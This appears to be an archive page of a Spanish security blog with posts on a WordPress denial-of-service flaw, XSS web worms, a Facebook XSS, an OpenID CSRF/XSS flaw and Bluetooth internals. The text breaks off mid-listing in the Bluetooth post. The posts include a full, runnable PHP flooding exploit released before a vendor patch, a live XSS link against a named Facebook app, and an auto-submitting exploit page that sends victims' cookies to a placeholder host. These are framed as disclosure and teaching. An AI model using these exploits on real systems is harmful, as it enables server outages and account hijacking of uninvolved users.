Archive for the 'Seguridad' Category

Agujero de seguridad muy grave en WordPress

Cada vez mas y mas gente entiende y conoce los típicos errores de seguridad que se cometen al programar páginas web dinámicas, incluso existen esfuerzos y proyectos por catalogar este tipo de errores, como si de una enciclopedia de seguridad se tratase.

Sin embargo, este es un enfoque poco realista del problema, la seguridad informática no trata acerca de aplicar ciertos patrones para intentar encontrar errores, no trata sobre lo que debes y lo que no debes hacer. Trata exclusivamente de buscarle la vuelta a todo, de preguntarse si aquello que ves, es solo como lo ves, o puede mirarse desde otro punto de vista. A menudo la seguridad informática trata sobre preguntarse si el código que vemos hace sólo lo que dice que hace, o puede hacer algo mas.

Pese a que esta entrada trata sobre un agujero de seguridad que he encontrado en wordpress, y que afecta a todas las versiones, incluida la última, he querido empezar aclarando todo esto, para poder explicar por que todavía no existe parche para el bug, o por que wordpress no se toma en serio estos problemas.

Hace 6 días, descargué el código de wordpress de la página oficial, lo agregue como proyecto a mi IDE, y empecé a leer el código, al cabo de poco rato, abrí el fichero wp-trackbacks.php, y me di cuenta de que existía un error muy grave en el, tanto que permitiría a un usuario cualquiera de internet, dejar completamente caído cualquier servidor que aloje wordpress, en tan solo 5 minutos y con unas 20 y pico peticiones únicamente. El error consiste en realizar una petición que a wordpress le resulte tan compleja de procesar, que invierta muchísima memoria y CPU en ella, tanta que cuando le llegue la siguiente petición, y la siguiente y la siguiente, llegue un momento que se colapse, y no sea capaz de atender nada mas. Esto acaba provocando que el servidor completo deje de responder, y el resto de visitantes, no puedan ver la páginas.

Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.

Podríamos decir que cualquier chico en internet, podría tener el blog mas grande de toda la red, con 2 clicks, hacer que deje de funcionar indefinidamente.

Sin embargo, tras comunicar el error a security@wordpress.org, no obtuve respuesta. Al cabo de 3 o 4 días sin respuesta, reenvié el correo a m@wordpress.org (el creador de wordpress) y al cabo de 2 días mas, me contestaron diciéndome que lo arreglarían, aunque no iban a utilizar el arreglo que yo había sugerido si no otro, y que no sabían muy bien cuando lo arreglarían, vaya, como si todo esto fuese una tontería y no importase que millones de wordpress puedan ser tirados por cualquiera haciendo 3 clicks. Y no solo el wordpress, sino el servidor entero que lo hospeda.

Tras esto, empecé a estar molesto, me di cuenta de que si esto fuese un SQL Injection de libro, ya habría parche, pero que para ellos esto es un bug de segunda. Sin embargo lo gracioso es que la solución alternativa que ellos me han propuesto en el correo, es incorrecta, y wordpress seguiría siendo vulnerable incluso después de actualizar (sea cuando sea que pongan disponible la actualización).

Por ello, en este post, aparte de explicar el bug ,y dar un código de ejemplo para explotarlo, voy a explicar su solución, y luego la mía, y por que la suya es incorrecta.

El problema está, como ya he dicho en wp-trackbacks.php, donde hay el siguiente código:

if ( function_exists(‘mb_convert_encoding’) ) { // For international trackbacks
$title     = mb_convert_encoding($title, get_option(‘blog_charset’), $charset);
$excerpt   = mb_convert_encoding($excerpt, get_option(‘blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(‘blog_charset’), $charset);
}

Y $charset viene a través de $_POST[‘charset’], igual que el resto, todas vienen de $_POST, enviadas por el usuario, y no existe ningún tipo de control de longitud sobre ellas. El problema reside en mb_convert_encoding, que es una función que convierte una cadena de texto de un charset dado, a otro, no solo acepta convertir del charset X al charset Y, sino que permite especificar una lista de charset separados por coma, en el charset de origen, y si recibe una lista, probará hasta encontrar el charset correcto, ejemplo:

$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);

Esa línea convertiría la variable $text a UTF-8 probando primero si está inicialmente en UTF-7 o en ISO-8859-1.Sin embargo, algo curioso de mb_convert_encoding, es que si ejecutamos algo así:

$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);

mb_convert_encoding intentará detectar el charset de $text, y primero comprobará si es ISO-8859-1, luego volverá a comprobarlo, y luego otra vez, y otra mas. Y tantas, como veces lo pongamos en la lista. Esto no sería un problema si no fuese por que el mecanismo para determinar el charset de una cadena unicode (multibyte) es realmente costoso para el sistema.

Por lo que si en $charset (mediante $_POST) le enviamos una cadena con 350k de UTF-8 separados por comas, y en $title por ejemplo, le enviamos una cadena de 350k de largo, hará comprobaciones sobre 350k^2 caracteres, lo cual requiere realmente mucho tiempo (minutos). Minutos durante los cuales el servidores está casi casi saturado, y eso sumado a que podemos repetir la petición X veces, hasta que tiene que hacer 350k^2*X, lo cual le acaba resultando casi imposible, o muy largo, y el resto de servicios y las peticiones legítimas a la web dejan de funcionar, por que no quedan recursos.

El código del exploit está hecho php, y se ejecuta desde el terminal así: php exploit.php http://urldelblog.com, y es el que sigue:

<?php
//wordpress Resource exhaustion Exploit
//https://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) {
echo “The url should have http:// in front of it, and should be complete.\n”;
exit;
}

if(count($data) == 2) {
$path = ”;
} else {
$path = $data[‘path’];
}
$path = trim($path,’/’);
$path .= ‘/wp-trackback.php’;
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}

$b = “”;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);

$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com’;
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol’;
$str .= ‘&excerpt=lol’;

$count = 0;
while(1) {
$fp = @fsockopen($data[‘host’],80);
if(!$fp) {
if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data[‘host’].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data[‘host’].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

Para solucionar el problema y no ser vulnerables, es tan fácil como editar wp-trackbacks.php y poner un control sobre $_POST[‘charset’]. WordPress me ha sugerido que lo que harán será controlar que no tenga comas, sin embargo, eso es insuficiente, ya que mb_convert_encoding acepta arrays como argumento, en lugar de listas separadas por comas, y se pueden pasar arrays mediante $_POST usando [] en las variables. La solución pasar por eliminar cualquier coma de $_POST[‘charset’] y comprobar que no sea un array, con !is_array.

Dicho de otra forma, abrir wp-trackbacks.php, buscar la línea:

$charset = $_POST[‘charset’];

Y cambiarla por:

$charset = str_replace(“,”,””,$_POST[‘charset’]);
if(is_array($charset)) { exit; }

Y se soluciona el problema.

Como decía al principio del post, entiendo que en wordpress no se han tomado esto muy en serio, como anteriores problemas que encontré, por lo que he decidido que es mejor hacerlo público y que la gente lo solucione, que esperar a ver cuanta gente mas ha encontrado ya este error, y no lo está aprovechando, ya que a wordpress parece no importarle demasiado. No se si me estoy equivocando o no, pero me siento impotente de no poder hacer nada para que este error sea corregido ya, y solo puedo hacer dos cosas, o callármelo, y desear que nadie mas encuentre el error, o divulgarlo, junto a su solución y que esto se arregle.

Actualización: he revisado wp-trackbacks.php y desactivar los trackbacks no soluciona nada, ya que esto sucede ANTES de esa comprobación, la única solución es la que se explica en el post, modificar esa línea de wp-trackbacks.php.

Que es un gusano web y cómo funciona

Antiguamente, los gusanos eran códigos maliciosos, preparados para extenderse rápidamente de sistema en sistema, mediante las redes p2p, el envío automatizado por correo, etc. Los gusanos eran programas informáticos, que al ejecutarlos, utilizaban tu ordenador para extenderse a muchos mas sistemas, sin que tu vieses absolutamente nada.

En la actualidad, con la extrema popularidad e importancia que tiene el mundo web, los gusanos han ido evolucionando, de forma que ha nacido un nuevo tipo de gusano, que no infecta tu ordenador, ni es un programa compilado que debes descargar, sino que es un pequeño fragmento de código javascript, que infecta tu perfil en alguna web.

Todo empezó con los agujeros de seguridad de tipo Cross Site Scripting (XSS), un tipo de agujero de seguridad, al que no se le presta tanta atención como a otros que a priori parecen mas peligrosos, como los Sql Injection, o similares, pero que es tanto o mas peligroso.

Pero para entender los web worms, debemos empezar desde muy al principio, desde las bases de los ataques tipo XSS. Un ataque XSS persigue, normalmente, robar la cookie del visitante. La cookie es una pequeña porción de información, que sirve para que la página web, recuerde que te has autenticado correctamente, y no te pida la contraseña cada vez que quieres hacer una acción.

Para robar la cookie, los ataques XSS se sirven de código javascript, ya que el código javascript se ejecuta en el navegador, tiene acceso a las cookies del mismo, sin embargo, por seguridad, un código javascript solo puede ver las cookies del sitio web que hospeda ese código javascript.

Es decir, si yo visito http://www.ejemplo.com, y esta web me envía un javascript que accede a las cookies, este javascript no podrá ver mis cookies de otras páginas web.

Y es en esa protección, en la que reside el peligro del Cross Site Scripting; imaginemos una página web que te pregunta tu nombre al entrar, tu lo introduces, y te muestra por pantalla: Hola! <nombreintroducido>. Si yo, en el nombre, introduzco:

<script>alert(document.cookie)</script>

Mi código javascript, podrá acceder a las cookies de esa página web, ya que el código javascript, el navegador, lo recibe a través de la web que me ha preguntado mi nombre.

¿Cual es el peligro real de todo esto?

Veamos un ejemplo ficticio, pero posible…Imaginemos que gmail tiene un error de seguridad, y permite introducir código javascript en el cuerpo de un mail, yo podría escribirte un mail que contubiese el siguiente código:

<script>document.location.href=’www.paginamaligna.com/recogercookie.php?cookie=’+document.cookie;</script>

Cuando tu abrieses el correo, el navegador te redirigiría hacía paginamaligna.com, pasándole por GET, tu cookie, a la cual hemos tenido acceso, ya que el javascript, para el navegador, procedía de gmail.

Una vez con tu cookie, borro mi cookie de gmail, y me pongo la tuya, ahora ya estoy autentificado en gmail, con tu nombre de usuario, y puedo leer tu correo.

Una vez entendido esto, entender los gusanos web (web worms) son fáciles de entender, imagina que yo estoy en una red social, y tengo un perfil público, en el cual hay un campo ‘intereses’, donde la gente pone lo que le gusta hacer. Si ese campo, permite introducir código HTML, sin filtrarlo, yo podría introducir:

<script>alert(document.cookie);</script>

Y cuando alguien visitase mi perfil, se mostrase su cookie. Si ahora en lugar de un alert, introduzco un código, que hace un petición POST a la red social, y modifica el perfil de la victima, introduciendo en el campo intereses, el mismo código malicioso que yo tengo, cada persona que entre, se le modificará automáticamente su perfil, y cada persona que vea ese perfil modificado, modificará automaticamente el suyo, y así sucesivamente.

En unas horas, todos los perfiles de una red social pueden estar modificados, es decir, infectados con el código.

Además, este código podría enviarle las cookies al autor original del código, mediante una petición invisible a alguna web (usando un iframe invisible, por ejemplo), de forma que no solo ha infectado todos los perfiles, sino que tiene todas las cookies, de todo el mundo, en la web.

Aunque todo esto suene rocambolesco, es una realidad, y ha sucedido ya en muchas ocasiones, siendo quizás la mas famosa, la de samy, un código javascript que infecto millones de perfiles en myspace, mediante un agujero de tipo XSS.

Como siempre, para protegerse de estos ataques, lo mejor es utilizar noscript, para firefox.

Agujero de seguridad en facebook

Hace unos días, hablando con un amigo, le expliqué que a mi parecer, todas las redes sociales son inseguras, que ninguna brinda la suficiente seguridad, como para que yo depositase en ella mis datos, y que por lo tanto, por eso no utilizo facebook, ni nada similar.

Mi amigo, me respondió que facebook era muy seguro, que con los millones de personas que lo usan, seguro que muchos expertos lo habían auditado, a lo que yo le contesté que no se fiase de eso, que sistemas mas grandes, como windows, tienen muchos agujeros de seguridad, y que la seguridad no depende del número de usuarios del sistema.

Al final, todo ello desembocó en una mini discusión y finalmente, en una apuesta. Apostamos a ver si yo era capaz de descubrir un agujero de seguridad en facebook, lo suficientemente peligroso, como para robar información o incluso suplantar a un usuario normal.

Pues bien, hoy, después de solo unas cuantas horas mirando facebook, ya he encontrado el primer agujero de seguridad, un XSS que a priori no parecía explotable, pero que al final, con un poco de picaresca, he conseguido explotar.

El bug consiste en un enlace especialmente preparado, que si el usuario entra, verá su facebook, sin trampa ni cartón, pero en el centro, tendrá un texto que le dice que ha habido un error, y que haga click ahí para continuar, si lo hace, podremos ejecutar código Javascript en el contexto de facebook, y con ello, robar su cookie, por ejemplo.

Es un XSS normal y corriente, pero que requiere que el usuario siga un enlace, lo cual reduce un poco el % de éxito y la peligrosidad, ya que un usuario experto, vería el truco.

El bug reside en ciertas aplicaciones de facebook, hasta donde he podido averiguar, es decir, el usuario debe tener instalado en su facebook, una aplicación, las típicas de encuestas y cosas de esas, una vez con la aplicación instalada y autorizada, este bug solo funciona en algunas aplicaciones, por lo que la forma de proceder es la siguiente:

  1. Mirar que aplicaciones tiene instaladas tu amigo, y ver si alguna está afectada por el bug
  2. Si no tiene ninguna, invitarle a que use alguna que sabes que está afectada por el bug, esto es muy fácil
  3. Una vez el usuario tiene la aplicación afectada instalada, ya podemos proceder.

Ojo, no estamos hablando de una aplicación maligna creada por nosotros, sino de aplicaciones normales y corrientes, de las que usa la gente, las cuales algunas, son inseguras.

Una vez nuestro amigo tiene alguna aplicación vulnerable instalada, solo necesitamos que visite un enlace especialmente preparado, que le mostrará un mensaje de error, y le pedirá que haga click para continuar, ese enlace, es el XSS, que de hacer click, podría permitir robar la cookie, y enviarla a un sitio de terceros.

Yo he hecho la prueba con la aplicación “EreS BuEn PoLvO?” (lo siento, es la primera que vi vulnerable), y el enlace con el XSS, es el que sigue:

http://apps.facebook.com/qeres-buen-pol-ceijh/?target=list&send_id=1517598431&x=24897%22%20href=%22%20javascript:alert(document.cookie);%22%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ccenter%3E%3Ch1%20style=%22color:red;position:relative;left:-60px;%22%3EA%20ocurrido%20un%20error,%20haz%20click%20aqu%C3%AD%20para%20volver%3C/h1%3E%3C/center%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3C/a%3E%3Cspan%20style=%22

En este ejemplo, el enlace es totalmente inofensivo, si hacemos click en el texto “se ha producido un error…” solo veremos nuestra cookie en un pop up del navegador, pero nuestra cookie no se envía a ningún sitio.

Bastaría con modificar el alert, por un document.location para pasar la cookie a un sitio de terceros.

Como se puede ver, ninguna red social es segura, cualquiera con tiempo, paciencia e imaginación puede aprovecharse de cualquier cosa para suplantarte o robar tu identidad, cuando tu solo has hecho 2 clicks que parecían inofensivos.

Evidentemente, he notificado este agujero a facebook, por lo que en poco tiempo es probable que deje de funcionar (si es que hacen caso).

Para los escepticos: si os parece que esto es poco peligroso (robar la cuenta de alguien con 2 clicks de la victima) lo tenéis muy fácil: salid del blog y seguid con vuestras vidas, esto es un blog de seguridad informática (y frikadas), por lo que poner comentarios diciendo que un XSS no sirve para nada, solo conllevará la eliminación de los mismos.

Problema de seguridad muy grave en el OpenID de Weblogs SL

Seguramente todos conozcáis OpenID, un sistema de identificación digital descentralizado, o dicho de otra forma: una forma de identificarte en una web, si no lo conoces, seguramente te cueste entender este artículo.

OpenID se utiliza en muchos sitios, por ejemplo, cuando pones un comentario en genbeta, necesitas proporcionar una url de OpenID, que sirva para identificarte, si no tienes una, te sugiere que te la crees aquí:

http://openid.blogs.es/

Esa página, te permite identificarte y gestionar la información asociada a tu cuenta OpenID, además, si no tienes una cuenta, puedes crearla ahí mismo.

Como OpenID es descentralizado, cualquiera puede montar su servidor OpenID, como ese que puse arriba, que utilizan en genbeta, y que lo gestiona weblogs sl.

El caso, es que existen muchas implementaciones de OpenID, entre ellas, existe una libre en PHP, alojada aquí. Que como bien dice la propia página, ese software ya no está mantenido, está abandonado.

Sin embargo, en su día fue un script muy popular, y muchos servidores, no solo weblogs sl, sino también openid.es utilizan ese script.

Al ver que estaba tan extendido, decidí auditarlo, me bajé el código, y encontré varios errores MUY graves, seguramente el mas notable es un CSRF, que haciendo una petición POST, nos permite modificar los datos del usuario, sin ningún tipo de número de control o comprobación sobre el referer.

Esto, sumado a que uno de los campos del perfil del usuario, de los que podemos alterar con el CSRF, tiene un bug XSS que nos permite inyectar código, hace que podamos imaginarnos un ataque así:

  1. La victima visita una web
  2. La web crea un iframe invisible, donde se carga un document HTML que hace una petición post al OpenID, pidiendo cambiar su información asociada a su cuenta, en este caso, su nombre, que es el campo que tiene XSS, el que nos permite inyectar código HTML
  3. Se modifica el nombre y apellidos asociado a la cuenta de la víctima, sin que esta vea nada
  4. Se ejecuta el código Javascript inyectado en el campo nombre, redireccionado a la víctima a una web de terceros, y pasando la cookie vía GET, para recogerla en el otro lado

Con esto, podemos robar cualquier cuenta de OpenID (en un servidor que utilice esta implementación vulnerable) solo con que una persona autenticada en OpenID, visite nuestra web.

Como se habla mucho de bugs de este tipo, y nunca se dan ejemplos, me decidí a crear un exploit, un archivo html, que al visitarlo estando logueado en http://openid.blogs.es/, te roba la cookie y la envía a otra web (a http://www.e.com, es una web ficticia), el código es algo así:

<html>
<head>
<script>
function attack() {
//document.location=”http://www.e.com/?c=”+document.cookie;
//encoded
document.getElementById(‘profilename’).value = ‘”><script>eval(String.fromCharCode(100,111,99,117,109,101,
110,116,46,108,111,99,97,116,105,111,110,61,34,104,116,116,
112,58,47,47,119,119,119,46,101,46,99,111,109,47,63,99,61,34,
43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,
59));<\/script>’;
document.forms[0].submit();
}
</script>
</head>
<body onload=”attack();”>
<form method=”POST” action=”http://openid.blogs.es”&gt;
<input type=”hidden” name=”action” value=”account”/>
<input type=”hidden” id=”profilename” name=”profile[fullname]” value=””/>
</form>
</body>
</html>

Podéis bajarlo en texto plano aquí:

exploit

Sin embargo, al ver la peligrosidad de este agujero de seguridad, decidí contactar con Julio Alonso, de Weblogs SL, quien me pasó con su CTO, un tal “Klaas Naaijkens”, le expliqué el problema, le pasé el exploit de demostración, y en un día estaba solventado.

Sin embargo, esa implementación de OpenID tiene aún algunos CSRF peligrosos, pero el bug mas serio ya está parcheado.

Esto me lleva a una pregunta: ¿Es que nadie mas ha auditado nunca el servidor OpenID que utilizan blogs tan importantes como genbeta? Me imagino que no.

Al menos me siento bien, he contribuido a solventar un bug bastante importante, lo único malo, es que el software ya no lo mantiene nadie, y no consigo contactar con el autor, para que haga un parche que puedan utilizar todos los sites que utilicen este software.

Un saludo a Klaas y a Julio, que han sido muy atentos y han solventado el bug muy rapidamente, así que el tiempo desde que encontré la vulnerabilidad, hasta que estubo solventada, fue muy pequeño, ojalá fuese siempre así.

Un vistazo profundo a bluetooth y su seguridad

Como ya he dicho en anteriores entradas, la seguridad es una ciencia a la merced de las modas, a diferencia de lo que cree mucha gente, no existe nadie que se asegure de que todo sea seguro, no existen mil ojos mirando cada código de software libre, ni existen mil ojos mirando cada nuevo protocolo, no es así.

En realidad, hay poca gente que audite código, hay poca gente que se baje el código de openssl, y le busque problemas de seguridad, y la poca gente que hay: se mueve por modas. (o intereses comerciales)

Si digo todo esto, es por que mientras que a bluetooth no se le han encontrado prácticamente problemas de seguridad reales, a las redes wireless (802.11) se le han encontrado una gran cantidad de ellos.

Esto podría llevarnos a pensar que bluetooth es mas seguro que 802.11, pero en realidad no es así, en realidad es que bluetooth no lo ha examinado casi nadie a fondo, y 802.11 tiene mil ojos encima.

Y sobre eso va a tratar este artículo, sobre como funciona bluetooth y que posibles problemas de seguridad tiene.

Bluetooth es un protocolo de comunicación inalámbrica de corto alcance, es decir, un protocolo que permite comunicar sin cables, distintos dispositivos que estén cerca el uno del otro, diseñado y mantenido por el “SIG” (Bluetooth Special Interest Group) el cual es una asociación de empresas las cuales tienen un interés en esta tecnología.

Dicho de otra manera mucho mas coloquial: bluetooth es como una pequeña red wireless de corto alcance.

En nuestra vida real, estamos rodeados de bluetooth por todas partes, se suele utilizar en dispositivos de manos libre, auriculares, teclados…y sobretodo, con mucha diferencia, en móviles.

En los móviles es donde mas éxito ha tenido bluetooth, ya que permite que dos móviles intercambien datos (fotos, música, contactos…) de forma fácil y rápida, además permite que puedas acceder a los archivos de tu móvil desde tu ordenador.

Bluetooth en realidad, es una pila de protocolos, siendo el protocolo de mas abajo el que se encarga de los temas de ondas de radio etc y los protocolos de mas arriba los que se encargan de direccionamiento, datos, etc.

Empezando por abajo en la pila, tenemos el protocolo “Bluetooth Radio”, el cual define como funciona la parte de radio de bluetooth, entre otras cosas define que bluetooth funciona a 2.4GHz, la misma frecuencia que utiliza 802.11.

Una vez dos dispositivos se entienden, por que utilizan la misma frecuencia y reglas definidas por “Bluetooth Radio”, existen dos protocolos en bluetooth que ya pueden funcionar cuando se cumple ese protocolo: LMP y L2CAP.

LMP es el protocolo que se encarga de la conectividad entre dos dispositivos bluetooth, temas de calidad del servicio, etc.

Una característica importante de LMP, es que bluetooth se mueven entre 79 frecuencias diferentes, separadas cada una por 1mhz, cuando dos dispositivos bluetooth quieren hablarse por radio, primero hablan mediante una frecuencia predefinida, conocida como “control channel” (canal de control) y usando ese canal, acuerdan en que orden van a utilizar las 79 frecuencias disponibles, esto significa, que se ponen de acuerdo, por ejemplo, en decir: te enviaré el primer paquete por la 39, el segundo por la 45, el tercero por la 78…y así hasta utilizar los 79 canales y volver a empezar la secuencia.

La secuencia utilizado, se genera de forma aleatoria y se ponen de acuerdo en cual usar, mediante el canal de control, esta técnica se conoce como FHSS.

Bluetooth utiliza este mecanismo de ir saltando entre frecuencias, para complicar (como veremos mas adelante) el tema de que alguien se ponga a sniffear la conversación entre dos dispositivos.

Una vez LMP ha establecido el enlace radio, entre dos dispositivos, entra en juego el siguiente protocolo, L2CAP.

L2CAP es un protocolo que define una serie de puertos que se pueden utilizar para mandar y recibir datos mediante las capas de abajo, es decir, define una forma en la que varias aplicaciones pueden enviar datos y recibir datos utilizando las ondas de radio de bluetooth, sin confundir de quien es que, de la misma forma que tcp/ip permite que una misma ip, pueda enviar y recibir datos por el mismo cable, para distintas aplicaciones a la vez, haciendo uso de los “puertos”, por ejemplo, servidores web utilizan el puerto 80, y así, el tráfico de la web, se puede distinguir del tráfico ftp, que va por el puerto 21, aunque en realidad, todo son pulsos eléctricos por el mismo cable.

L2CAP dispone de 32767 puertos, disponibles para que las aplicaciones los utilicen, al comunicarse mediante bluetooth.

Y ya por encima de L2CAP trabaja RFCOMM un protocolo que emula las conexiones por puerto serie, dispone de 30 puertos (1 al 30) y solo puede gestionar 6 conexiones como máximo a la vez.

Supongo que después de toda al explicación, uno anda un poco perdido, pero para simplificarlo, voy a hacer una equivalencia entre las redes cableadas normales, y bluetooth, para que se vea claramente donde encaja y que hace cada protocolo:

  • “Blueooth Radio” sería el cable en si mismo
  • L2CAP sería ethernet
  • RFCOMM sería TCP/IP

Por lo cual, a las aplicaciones que se comunican usando bluetooth, les suele preocupar únicamente RFCOMM, igual que a tu navegador, le preocupa tcp/ip, y no si por debajo hay bluetooth, ethernet, o una red wireless 802.11.

Hay un concepto que nos hemos dejado en el aire, y que aparece en el gráfico: Host Controller Interface (HCI).

El HCI es la forma en la que el ordenador (o el móvil) se comunica con el dispositivo bluetooth, es decir, los dispositivos bluetooth, por ejemplo esos pequeños dispositivos usb que conectas a tu ordenador para disponer de bluetooth, tienen dentro un microprocesador, una memoria, registros, y areas de memoria donde se almacena un pequeño programa, llamado firmware, que se ejecuta dentro del procesador que tiene dentro el bluetooth, y que se encarga del tema del LMP, los saltos entre frecuencia, la conectividad por radio, etc, todos los temas de radiofrecuencia a bajo nivel.

Mientras que el L2CAP se ejecuta en el ordenador, no en el dispositivo usb, por lo cual debe existir una forma de comunicar el ordenador y con el dispositivo usb, que es quien gestiona los temas de radio.

Ese protocolo se llama HCI, para verlo mas claro:

Como se puede observar, podríamos resumir una conexión bluetooth como:

  1. Un programa en el ordenador, pide conectarse a un dispositivo bluetooth, en el puerto X
  2. La librería bluetooth del sistema, habla con el driver bluetooth
  3. El driver bluetooth, mediante HCI, habla con el dispositivo bluetooth conectado al USB
  4. El dispositivo bluetooth, inicia una comunicación por radio con el dispositivo al que queremos conectar.
  5. Mediante el canal de control, acuerdan el orden en el que van a utilizar las 79 frecuencias de radio que tienen disponibles.
  6. Ya tienen conectividad, por lo que la aplicación puede enviar datos mediante bluetooth, los cuales los recibirá el driver bluetooth, e irán a parar mediante el HCI (el enlace entre el dispositivo y el ordenador) al dispositivo bluetooth, que los convertirá en ondas de radio, y llegarán al otro dispositivo, donde sucederá todo el camino, a la inversa, hasta llegar a la aplicación que está escuchando en el otro lado.

Despues de haber visto como funciona bluetooth, sabemos que es algo muy similar a ethernet+tcp/ip, aunque con ciertas particularidades.

En primer lugar, bluetooth nos permite escanear los dispositivos que hay alrededor nuestro con bluetooth habilitado, para poder comunicarnos con ellos, sin embargo bluetooth no existen direcciones IP, se usan las direcciones MAC de los dispositivos directamente, el problema es que los seres humanos tienen problemas para memorizar direcciones IP, en el caso de TCP/IP y direcciones MAC, en el caso de bluetooth, por lo que si escaneamos en busca de dispositivos cercanos, para transferir una foto al móvil de un amigo, y nos aparecen direcciones MAC, no sabremos de todos los que aparezcan, cual es el móvil de nuestro amigo.

Por ello, bluetooth dispone de un concepto llamado “Nombre de dispositivo”, cuando un dispositivo bluetooth escanea en busca de dispositivos bluetooth cercanos, los dispositivos cercanos que contestan al escaneo, le indican cual es su nombre de dispositivo, y ese será el que aparezca en la lista, una vez finalizado el escaneo.

El nombre de dispositivo, es algo que puede configurar el usuario, en telefonía móvil, por defecto, el nombre de dispositivo es el modelo del teléfono, por ejemplo: Nokia N70.

Una vez el dispositivo tiene una lista de los dispositivos cercanos, puede consultar que “servicios” provee un determinado dispositivo, es decir, de la misma forma que un ordenador puede tener un servidor web instalado, un dispositivo bluetooth puede tener servicios que se pueden utilizar a través de el, o dicho de otra forma: existe un ftp a través de bluetooth, y se llama OBEX.

Obex es un pequeño protocolo que especifica como intercambiar archivos entre dos dispositivos bluetooth, todos los móviles modernos llevan instalado un servidor obex en algún puerto RFCOMM.

Sin embargo, como solo existen 30 puertos RFCOMM (el equivalente a tcp/ip en bluetooth), a diferencia de ftp, que se utiliza normalmente el puerto 21, no existe ningún puerto por defecto para Obex FTP, ya que hay muchos mas protocolos (no solo existe obex) que funcionan sobre bluetooth, que puertos disponibles tienen rfcomm (30), así que lo que se hace, es que existe un servicio llamado SDP que está instalado en todos los dispositivos bluetooth, y que cualquier otro dispositivo bluetooth, se puede conectar a el, y consultar que servicios tiene un dispositivo, y en que puertos rfcomm están.

Para salir un poco de tanta teoría, usando un dispositivo bluetooth usb, voy a conectarme al servicio SDP de mi móvil (un LG KU380) para consultar que servidores accesibles desde bluetooth tiene instalados, y en que puertos están.

Para ello, lo primero que voy a hacer es escanear en busca de dispositivos bluetooth cercanos:

jcarlosn@localhost:~$ hcitool scan
Scanning …
00:1F:6B:E2:24:96    Rooibo
jcarlosn@localhost:~$

Me aparece mi móvil, que tiene de nombre de dispositivo: Rooibo, y su dirección MAC: 00:1F:6B:E2:24:96, ahora, sabiendo su dirección MAC, puedo conectarme a su servidor SDP, y consultar que servicios tiene:

jcarlosn@localhost:~$ sdptool browse 00:1F:6B:E2:24:96
Browsing 00:1F:6B:E2:24:96 …
Service Name: OBEX Object Push
Service RecHandle: 0x10000
Service Class ID List:
“OBEX Object Push” (0x1105)
Protocol Descriptor List:
“L2CAP” (0x0100)
“RFCOMM” (0x0003)
Channel: 6
“OBEX” (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding:    0x6a
base_offset: 0x100
Profile Descriptor List:
“OBEX Object Push” (0x1105)
Version: 0x0100

Service Name: OBEX File Transfer
Service RecHandle: 0x10001
Service Class ID List:
“OBEX File Transfer” (0x1106)
Protocol Descriptor List:
“L2CAP” (0x0100)
RFCOMM” (0x0003)
Channel: 7
“OBEX” (0x0008)
Language Base Attr List:
code_ISO639: 0x656e
encoding:    0x6a
base_offset: 0x100
Profile Descriptor List:
“OBEX File Transfer” (0x1106)
Version: 0x0100

Service Name: LG Sync SPP
Service RecHandle: 0x10002
Service Class ID List:
“Serial Port” (0x1101)
Protocol Descriptor List:
“L2CAP” (0x0100)
“RFCOMM” (0x0003)
Channel: 16
Language Base Attr List:
code_ISO639: 0x656e
encoding:    0x6a
base_offset: 0x100
Profile Descriptor List:
“Serial Port” (0x1101)
Version: 0x0100

Service Name: LG Audio Gateway
Service RecHandle: 0x10003
Service Class ID List:
“Headset Audio Gateway” (0x1112)
“Generic Audio” (0x1203)
Protocol Descriptor List:
“L2CAP” (0x0100)
“RFCOMM” (0x0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0x656e
encoding:    0x6a
base_offset: 0x100
Profile Descriptor List:
“Headset” (0x1108)
Version: 0x0100

Service Name: LG Audio Gateway
Service RecHandle: 0x10004
Service Class ID List:
“Handsfree Audio Gateway” (0x111f)
“Generic Audio” (0x1203)
Protocol Descriptor List:
“L2CAP” (0x0100)
“RFCOMM” (0x0003)
Channel: 4
Language Base Attr List:
code_ISO639: 0x656e
encoding:    0x6a
base_offset: 0x100
Profile Descriptor List:
“Handsfree” (0x111e)
Version: 0x0105

Service Name: LG Dial-up Networking
Service RecHandle: 0x10005
Service Class ID List:
“Dialup Networking” (0x1103)
Protocol Descriptor List:
“L2CAP” (0x0100)
“RFCOMM” (0x0003)
Channel: 8
Language Base Attr List:
code_ISO639: 0x656e
encoding:    0x6a
base_offset: 0x100
Profile Descriptor List:
